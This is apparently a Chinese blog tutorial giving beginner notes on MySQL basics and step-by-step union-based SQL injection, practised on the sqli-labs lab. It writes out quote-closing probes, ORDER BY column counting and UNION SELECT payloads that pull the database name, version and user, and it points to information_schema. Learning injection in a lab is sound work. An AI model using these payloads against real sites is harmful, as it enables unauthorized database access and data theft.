SQL注入的小知识

登录数据库
mysql -u[用户名] -p[密码]

查看数据库
show databases;

使用某个数据库
use [数据库名];

查看这个库里面有什么表
show tables;

查看table1表中所有的数据
select * from table1;

union联合
select * from table1 where id<3 union select 1,2,3;
左边右边同时执行

select * from table1 where id<-3 union select 1,2,3;
select * from table1 where id<'x' union select 1,2,3;
此时会执行右边

注释符
--+
#
/**/

--------------------------------------------------------------------------

步骤1.
推断数据库的语法大概是什么

select * from 某个表 where id='参数' limit 0,1;

select * from 某个表 where id='2\' limit 0,1;

步骤2.
让他报错,显示自己的闭合方式
'2\' LIMIT 0,1
' ''  ')    '')    ))    ''))    '))

步骤3:
验证目标数据库语句参数闭合方式
select * from 某个表 where id ='2' limit 0,1
执行之后
select * from 某个表 where id='2';

步骤4:
确定有多少列
select * from 某个表 where id='2' order by 10 --+ 'limit 0,1;
我觉得你数据库有10列,发现错误,之后使用二分法猜,最后发现order by 3是对的
所以判断,数据有3列(sqli-labs)
select  x,y,z from 某个表 where id ='-2'  order by 10 --+ 'limit 0,1;
 
步骤5:
使用联合查询
因为刚刚推理出他有3列,所以union select 1,2,3
记住!前面的参数必须报错
select x,y,z from 某个表 where id='-2' union select 1,2,3 --+ 'limit 0,1;
这下会显示报错位!!!
我们发现2,3为报错位

步骤6:
开始刺探数据库内部内容
-2 ' union select 1,database(),3 --+
此时2号位会显示数据库库名
发现security
version()
user()
@@datadir

information_schema是自带的,相当于数据库的户口本
information_schema---tables保存着所以数据库的库名以及自己的表名

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透者:'

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值